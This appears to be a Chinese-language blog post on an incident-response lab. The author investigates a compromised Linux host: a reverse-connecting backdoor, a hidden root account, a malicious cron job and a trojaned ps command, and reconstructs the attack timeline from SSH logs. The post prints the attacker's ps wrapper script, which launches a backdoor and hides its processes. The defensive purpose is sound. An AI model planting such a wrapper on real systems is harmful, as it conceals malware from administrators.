应急响应——靶场实践

唉,我可算直到值守每天12小时看警报是多么怨种的一工作,本以为该结束了,结果又加了一天!!!!

还好我没放弃自己,一直在自学东西(也不是我愿意的,这也不是没有办法嘛,大家都太卷了)

那就自学了学应急响应。不得不说,大佬们是真好呀,我才在日报里说我刚过完应急响应的知识,梳理出流程,就有大佬给我发来了——三个靶场,够我挺过这难熬的两天了。

嘿嘿不能辜负大佬的期望,咱就好好表现吧

目录

先搭个靶场

 应急响应的过程

排查网络连接

        排查历史命令

排查后门账户 

查看特权账户 

查看可以远程登录的帐号信息 

排查crontab后门

排查是否有命令被替换 

总结

应急响应溯源

查看后门

总结:

排查安全日志

 溯源总结


先搭个靶场

不得不说一体机就是快:

说一下环境配置的问题呀

就是刚安装的一体机,去看网络连接是这样的

 192.168.266.131只有一条,没有靶场上说的SYN_SENT

这是因为网络没有打开,先把网络连接打开再操作,后面还有ssh要外联取文件

 应急响应的过程

排查网络连接

netstat -anpt

查看服务器的网络连接,发现服务器192.168.226.132一直与恶意IP:192.168.226.131的6666端口连接,并且程序名为:shell.elf

PID:11393,15634,

根据PID号查找程序位置: /root/shell.elf

lsof -p 11393

 查看 shell.elf 文件的创建时间为:2022-01-14 00:51:12

弱弱的问一句不会头秃嘛,都这个点了

stat shell.elf

然后我用的是Xshell去取shell.elf放到微步检测里去跑一跑

排查历史命令

查看是否有黑客执行的命令

history

在 root账户下排查是否有黑客执行的命令 

cd /root
cat .bash_history 

排查后门账户 

查看当前登录系统的用户

who

没有发现异常

查看特权账户 

awk -F: '$3==0 {print$1}' /etc/passwd

可以看到有两个账户

那这个奇奇怪怪的wxiaoge就应该是黑客的账号了

查看可以远程登录的帐号信息 

awk '/\$1|\$6/{print $1}' /etc/shadow

 好了现在可以确定了,wxiaoge就是黑客的账号

 接下来查看用户最近登录情况

grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'

  排查crontab后门

查看服务器的定时任务

cd /var/spool/cron
cat root

发现存在root账户的定时任务,每分钟执行一次 /root/shell.elf文件

排查是否有命令被替换 

检查命令文件是否被替换

rpm -Vf /usr/bin/*
rpm -Vf /usr/sbin/*
#rpm -Vf /usr/bin/xxx
#S 关键字代表文件大小发生了变化
#5 关键字代表文件的 md5 值发生了变化
#T 代表文件时间发生了变化

执行命令: rpm -Vf /usr/bin/* 时发现 ps 命令的文件大小、md5 值、时间发生了变化,可能已经被修改

 

 查看ps命令内容

ls -al ps 
cat ps

 ps文件内容被修改成以下内容

#!/bin/bash
/centos_core.elf & /.hide_command/ps |grep -v "shell" | grep -v "centos_core" | grep "bash"

#每次执行ps命令都会执行centos_core.elf文件、.hide_command/ps文件
#grep -v的意思是只打印没有匹配的,而匹配的反而不打印,相当于隐藏shell、centos_core、bash异常文件信息

查看centos_core.elf文件创建时间为:2022-01-14 00:57:03.954050367 -0500

 这个日子不就是黑客wxiaoge登录的日子嘛

其实要是Linux使用不惯,可以试一试Xftp

到达 / 界面,就很明显有centos_core.elf,在这里有这种东西,就很明显不对劲

将 centos_core.elf 文件拔出来放在微步云沙箱检测是后门文件

再看看.hide_command/ps

 日期并不是黑客入侵的日期

 .hide_command/ps 文件为正常的ps文件

总结:
存在 ps 命令后门,将正常的ps命令替换,每执行一次ps命令 /centos_core.elf 后门文件就会被执行一次 

总结

1、找到后门文件 :/root/shell.elf 、/centos_core.elf
2、找到后门账户:wxiaoge
3、找到恶意定时任务
4、ps命令被替留ps命令后门

清除后门文件

rm -rf /root/shell.elf
rm -rf /centos_core.elf

将ps命令删除再将 .hide_command/ps 恢复

rm -rf /usr/bin/ps
mv /.hide_command/ps  /usr/bin/ps

删除后门账户

vi /etc/passwd
#vi编辑额passwd文件,按dd删除 wxiaoge那一行,之后保存并推出

应急响应溯源


查看后门

查看 shell.elf 文件的创建时间为:2022-01-14 00:51:12

stat shell.elf

查看 定时任务 root 文件的创建时间为:2022-01-14 01:05:53 

 查看centos_core.elf文件创建时间为:2022-01-14 00:57:03.954050367 -0500

总结:


植入后门的顺序为: shell.elf 后门、centos_core.elf后门、ps命令替换后门、定时任务 

排查安全日志

查看secure日志,发现爆破的时间范围是1.13 21:51:32——21:58:31

日志不是都一样的,时间,系统都会影响日志所在的位置

看看文件大小,肯定不会是 secure呀

cat secure-20220421 |grep Failed

 

 查看爆破的次数、攻击IP、破的用户名

#查询有哪些IP在爆破命令
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

#查询被爆破的用户名都有哪些
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
 

接下来查看用户最近登录情况 

grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'

发现 root 账户在1月13 日 21:57:56 登录了该服务器,在爆破的时间范围内(21:51:32——21:58:31)
wxiaoge 账户在 1月14 日 00:47:33登录了该服务器(其中IP地址 192.168.226.1 因为是模拟,没有公网地址,所以假设它是恶意IP)


 溯源总结

黑客在1月13日21:51:32——21:58:31对服务器进行爆破,且在21:57:56 成功爆破出root账户密码并且进行登录,登录之后在1月14日00:51:12 植入了 shell.elf 后门、在00:57:03植入了 centos_core.elf后门、在 01:03:42植入了ps命令后门、在 01:05:53写了恶意定时任务,恶意IP:192.168.226.1

猜你喜欢

转载自blog.csdn.net/weixin_46601374/article/details/124313315